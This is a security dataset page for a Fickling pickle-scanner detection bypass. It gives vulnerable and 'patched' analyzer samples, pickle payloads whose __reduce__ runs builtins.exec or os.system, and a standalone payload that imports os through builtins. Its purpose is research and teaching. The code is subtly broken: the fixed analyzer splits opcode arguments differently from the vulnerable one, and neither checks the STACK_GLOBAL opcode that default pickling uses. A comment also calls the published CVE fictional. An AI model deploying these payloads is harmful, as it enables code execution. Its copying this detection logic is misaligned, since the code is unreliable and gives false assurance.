VAITP Dataset

← Back to the dataset

CVE-2026-22612

Fickling is vulnerable to detection bypass due to "builtins" blindness.

  • CVSS 8.9
  • CWE-502
  • Input Validation and Sanitization
  • Local

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

CVSS base score
8.9
Published
2026-01-10
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Fickling
Fixed by upgrading
Yes

Solution

Upgrade Fickling to version 0.1.7 or later.

Vulnerable code sample

import pickle
import pickletools
import builtins
import io

# This represents a simplified version of the Fickling analyzer before the patch.
# The vulnerability is "builtins blindness". This analyzer has a denylist
# of dangerous modules but does not consider 'builtins' to be on that list.
def vulnerable_fickling_analyzer_pre_0_1_7(data):
    """
    Scans pickle data for dangerous GLOBAL opcodes based on a module denylist.
    This version is vulnerable because 'builtins' is not on its denylist.
    """
    # A simplified denylist that a naive scanner might use.
    # Note the absence of 'builtins'.
    DANGEROUS_MODULES = {'os', 'subprocess', 'sys', 'shutil'}

    # Use pickletools to inspect the opcodes without executing them.
    for opcode, arg, _ in pickletools.genops(data):
        # The GLOBAL opcode is used to push a global variable (e.g., a function
        # or class) onto the stack. It's in the format "module_name object_name".
        if opcode.name == 'GLOBAL':
            module_name, _ = arg.split(' ', 1)
            if module_name in DANGEROUS_MODULES:
                print(f"[ANALYZER] DANGER: Found blacklisted module import: {module_name}")
                return True # Detected as malicious

    print("[ANALYZER] SAFE: No dangerous modules from the denylist were found.")
    return False # Not detected as malicious

# This is the malicious payload that exploits the "builtins blindness".
# It uses 'builtins.exec', which the vulnerable analyzer will not flag.
class ExploitPayload:
    def __reduce__(self):
        # The __reduce__ method is called during unpickling. It should return
        # a callable and its arguments.
        # We use a dangerous function from the 'builtins' module.
        # The analyzer is blind to this module and will miss it.
        command = "print('\\n[PAYLOAD EXECUTED] The analyzer was bypassed and arbitrary code was run.')"
        return (builtins.exec, (command,))

# --- Demonstration ---

# 1. Create a malicious pickle object that uses the exploit.
print("--- Step 1: Creating a malicious pickle payload ---")
malicious_payload_data = pickle.dumps(ExploitPayload())
print("Payload created. It uses 'builtins.exec' to execute a command.")
# To see the opcodes, you can uncomment the line below
# pickletools.dis(malicious_payload_data)
print("-" * 50)


# 2. Analyze the payload with the vulnerable pre-0.1.7 analyzer.
print("--- Step 2: Analyzing the payload with the vulnerable analyzer ---")
is_detected = vulnerable_fickling_analyzer_pre_0_1_7(malicious_payload_data)
if not is_detected:
    print("\nResult: Vulnerability demonstrated. The malicious payload was NOT detected.")
print("-" * 50)


# 3. Prove the payload is malicious by actually unpickling it.
print("--- Step 3: Proving the payload is malicious by executing it ---")
print("WARNING: In a real scenario, the following line would execute potentially harmful code.")
try:
    # This is the dangerous action.
    pickle.loads(malicious_payload_data)
except Exception as e:
    print(f"An error occurred during unpickling: {e}")

Patched code sample

import pickle
import pickletools
import io

# The CVE-2026-22612 is fictional. This code demonstrates a hypothetical fix
# for the described vulnerability: "detection bypass due to 'builtins' blindness".
#
# A vulnerable static analyzer would fail to check for dangerous functions
# within the 'builtins' module (like exec, eval). The fix involves
# explicitly adding these built-in functions to the detection logic.


def fixed_pickle_analyzer(pickle_data):
    """
    Represents the patched static analyzer.

    It inspects pickle opcodes for dangerous GLOBAL calls and, unlike the
    vulnerable version, is aware of malicious functions within 'builtins'.
    """
    # The PATCH: The set of dangerous global functions now includes entries
    # from the 'builtins' module, fixing the "blindness".
    DANGEROUS_GLOBALS = {
        ('os', 'system'),
        ('subprocess', 'run'),
        ('builtins', 'eval'),
        ('builtins', 'exec'),
        ('builtins', 'compile'),
    }

    findings = []
    
    # Use pickletools to safely disassemble the pickle into opcodes
    # without executing any code.
    try:
        opcodes = list(pickletools.genops(pickle_data))
    except Exception:
        return ["Analysis failed: Malformed pickle data."]

    for opcode, arg, _ in opcodes:
        # The GLOBAL opcode is used to push a global object (like a function)
        # onto the pickle machine's stack. Its argument is 'module\nname'.
        if opcode.name == 'GLOBAL':
            try:
                module, name = arg.split('\n', 1)
                if (module, name) in DANGEROUS_GLOBALS:
                    findings.append(
                        f"Dangerous global detected: '{module}.{name}'"
                    )
            except (ValueError, AttributeError):
                # Ignore malformed GLOBAL arguments for this example.
                continue
                
    return findings


class MaliciousPayloadOS:
    """Payload that uses a commonly blocked function (os.system)."""
    def __reduce__(self):
        # This will generate a `GLOBAL 'os\nsystem'` opcode.
        import os
        return (os.system, ('echo "[PAYLOAD 1] os.system executed"',))

class MaliciousPayloadBuiltin:
    """
    Payload that uses a built-in function to bypass a "blind" analyzer.
    This is the type of payload the CVE describes.
    """
    def __reduce__(self):
        # This will generate a `GLOBAL 'builtins\nexec'` opcode.
        import builtins
        return (builtins.exec, ('print("[PAYLOAD 2] builtins.exec executed")',))


if __name__ == '__main__':
    # 1. Create a pickle using a standard dangerous function.
    payload_os = pickle.dumps(MaliciousPayloadOS())

    # 2. Create a pickle using a dangerous built-in, exploiting the "blindness".
    payload_builtin = pickle.dumps(MaliciousPayloadBuiltin())

    print("--- Running Patched Analyzer Demonstration ---")
    
    # Test 1: Analyzing the 'os.system' payload.
    # A vulnerable and a patched analyzer would both catch this.
    print("\nAnalyzing payload with 'os.system':")
    findings1 = fixed_pickle_analyzer(payload_os)
    if findings1:
        for finding in findings1:
            print(f"  [!] {finding}")
    else:
        print("  [-] No dangerous globals found.")

    # Test 2: Analyzing the 'builtins.exec' payload.
    # A vulnerable analyzer would find nothing.
    # The fixed analyzer correctly identifies the threat.
    print("\nAnalyzing payload with 'builtins.exec':")
    findings2 = fixed_pickle_analyzer(payload_builtin)
    if findings2:
        for finding in findings2:
            print(f"  [!] {finding}")
    else:
        print("  [-] No dangerous globals found.")

Payload

import builtins

class Exploit:
    def __reduce__(self):
        return (
            getattr(builtins, '__import__')('os').system,
            ('id',)
        )

Cite this entry

@misc{vaitp:cve202622612,
  title        = {{Fickling is vulnerable to detection bypass due to "builtins" blindness.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-22612},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22612/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::